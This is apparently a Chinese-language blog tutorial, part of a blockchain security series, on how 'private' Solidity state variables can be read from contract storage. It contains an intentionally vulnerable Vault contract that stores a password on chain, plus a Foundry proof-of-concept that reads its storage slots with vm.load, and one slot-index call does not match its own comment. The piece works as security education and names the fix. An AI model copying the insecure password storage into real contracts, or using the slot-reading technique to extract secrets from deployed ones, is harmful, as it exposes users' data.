区块链安全常见的攻击分析——私有数据泄露 (Private Data Exposure)【7】

区块链安全常见的攻击分析------私有数据泄露 Private Data Exposure【7】

name: 私有数据泄露 (Private Data Exposure)

重点: 变量直接存储在链上,而链上的所有数据(无论是 public 还是 private)都可以被直接读取。因此,用户的密码缺乏安全性,容易被恶意行为者获取。利用vm.load() 或类似的链上存储读取方法,可以直接获取存储数据,从而轻松获取用户的 password。

如果不理解槽位slot可以先学习一下目录里1.5 知识点

1.1 漏洞分析

password直接存储在链上,所有存储在链上的数据(无论是 public 还是 private)都可以被读取。因此,用户的密码并不安全,容易被恶意行为者获取。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 私有数据泄露 (Private Data Exposure)

描述:
Solidity 将合约中定义的变量存储在槽位(slot)中。每个槽位最多可以容纳 32 字节或 256 位。
由于所有存储在链上的数据(无论是 public 还是 private)都可以被读取,因此可以通过预测私有数据在 Vault 合约中的存储槽位,读取其中的私有数据。

如果在生产环境中使用 Vault 合约,恶意行为者可能会使用类似技术访问敏感信息,例如用户密码。

缓解措施:
避免在链上存储敏感数据。

参考:
https://quillaudits.medium.com/accessing-private-data-in-smart-contracts-quillaudits-fe847581ce6d
*/

contract Vault {
    // slot 0
    uint256 private password;

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user);
        idToUser[0] = user;
    }

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 1
    User[] public users;
    // slot 2
    mapping(uint => User) public idToUser;

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (bytes32) {
        uint256 a = uint(keccak256(abi.encodePacked(slot))) +
            (index * elementSize);
        return bytes32(a);
    }
}

1.3 攻击分析

通过vm.load()直接获取链上数据

  • 可以获取user数组中user结构体内的password
  • 也可以直接读取 password 存储的槽位 0

结果

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Privatedata.sol";

contract ContractTest is Test {
    Vault PrivatedataContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        PrivatedataContract = new Vault(211233);
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
    }

    function testPrivatedata() public {
        vm.prank(Koko);
        bytes32 leet = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log(uint256(leet));

        // users in slot 1 - length of array
        // starting from slot hash(1) - array elements
        // slot where array element is stored = keccak256(slot)) + (index * elementSize)
        // where slot = 1 and elementSize = 2 (1 (uint) +  1 (bytes32))
        bytes32 user = vm.load(
            address(PrivatedataContract),
            PrivatedataContract.getArrayLocation(1, 1, 1)
        );
        console.log(uint256(user));
    }

    function testPasswordSlot() public {
        // 读取 password 存储的槽位 0
        bytes32 password = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log("Password stored in slot 0:", uint256(password));
    }
}

1.5 知识点:槽位 slot

存储规则:
  1. 状态变量顺序
    • 状态变量按其定义顺序依次存储在存储槽(slot)中。
    • 每个槽的大小为 256 位(32 字节)。
    • 如果变量大小小于 256 位(例如 uint128bool),多个变量可能共享一个槽。
  2. 动态数组和映射
    • 动态数组和映射本身占用一个槽,存储的是其内容的起始位置的哈希值。
    • 数组元素和映射值存储在独立的哈希槽中。
  3. 结构体
    • 结构体的每个成员按顺序分配存储,类似于多个状态变量。
示例存储分析:

假设合约如下:

solidity 复制代码
contract Vault {
    uint256 private password; // slot 0
    struct User {
        uint256 id;          // slot 1 (in storage for arrays/mappings)
        bytes32 password;    // slot 2 (in storage for arrays/mappings)
    }
    User[] public users;      // slot 1 (base slot for dynamic array)
    mapping(uint256 => User) public idToUser; // slot 2 (base slot for mapping)

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user); // Stored starting from keccak256(slot 1)
        idToUser[0] = user; // Stored starting from keccak256(0 + slot 2)
    }
}

变量存储位置:
  1. password (slot 0) :
    • 存储在槽位 0,因为它是合约中定义的第一个变量,占用完整的 256 位。
  2. users 动态数组 (slot 1) :
    • 动态数组的起始槽存储在槽位 1。
    • 数组内容从 keccak256(slot 1) 开始的槽位存储。
  3. idToUser 映射 (slot 2) :
    • 映射的基础槽位是 2。
    • 映射中的每个键值对存储在 keccak256(键 + slot 2)

如何获取槽位数据:
  1. 通过 getStorageAt 读取存储数据: 使用 Solidity 或工具(如 Foundry 的 vm.load)读取指定槽位的数据。

  2. Foundry 示例:

    solidity 复制代码
    contract VaultTest is Test {
        Vault vault;
    
        function setUp() public {
            vault = new Vault(123456);
        }
    
        function testStorage() public {
            // 读取槽位 0 的存储数据
            bytes32 slot0 = vm.load(address(vault), bytes32(uint256(0)));
            console.log("Password (slot 0):", uint256(slot0));
    
            // 读取数组起始槽位 1 的哈希值
            bytes32 arraySlot1 = vm.load(address(vault), bytes32(uint256(1)));
            console.log("Array base slot 1:", arraySlot1);
    
            // 读取映射键 0 的哈希槽
            bytes32 mapSlot = keccak256(abi.encodePacked(uint256(0), uint256(2)));
            bytes32 userInMapping = vm.load(address(vault), mapSlot);
            console.log("Mapping data:", userInMapping);
        }
    }

存储槽位计算:
  1. 单变量
    • 按声明顺序从槽位 0 开始。
  2. 动态数组
    • 数组本身的基础槽位存储数组长度。
    • 元素从 keccak256(基础槽位) 开始依次存储。
  3. 映射
    • 每个键值对的存储槽 = keccak256(abi.encodePacked(键, 映射基础槽位))
相关推荐
乾元32 分钟前
如何把 CCIE / HCIE 的实验案例改造成 AI 驱动的工程项目——从“实验室能力”到“可交付系统”的完整迁移路径
大数据·运维·网络·人工智能·深度学习·安全·机器学习
GC_ESD1 小时前
为芯片穿上“防弹衣”:PERC如何守护先进制程下的ESD安全
安全
acrelgxy1 小时前
从被动响应到主动预警:安科瑞门店电气安全全景管控方案
安全·电能管理系统·电力监控系统·智能电力仪表
南行*1 小时前
MSF安全开发
安全·网络安全·系统安全·ruby
mutourend10 小时前
以太坊交易类型综述
区块链
dalerkd14 小时前
忙里偷闲叙-谈谈最近两年
网络·安全·web安全
牛三金15 小时前
匿踪查询沿革-Private Information Retrieval(PIR)
算法·安全
xixixi7777716 小时前
量子通信是当前信息安全和通信领域最前沿、最具变革性的技术之一
安全·信息安全·量子计算·通信·量子通信·密钥·传输
WLJT12312312316 小时前
守护自然与滋养民生的绿色之路
大数据·安全
C++ 老炮儿的技术栈17 小时前
什么是通信规约
开发语言·数据结构·c++·windows·算法·安全·链表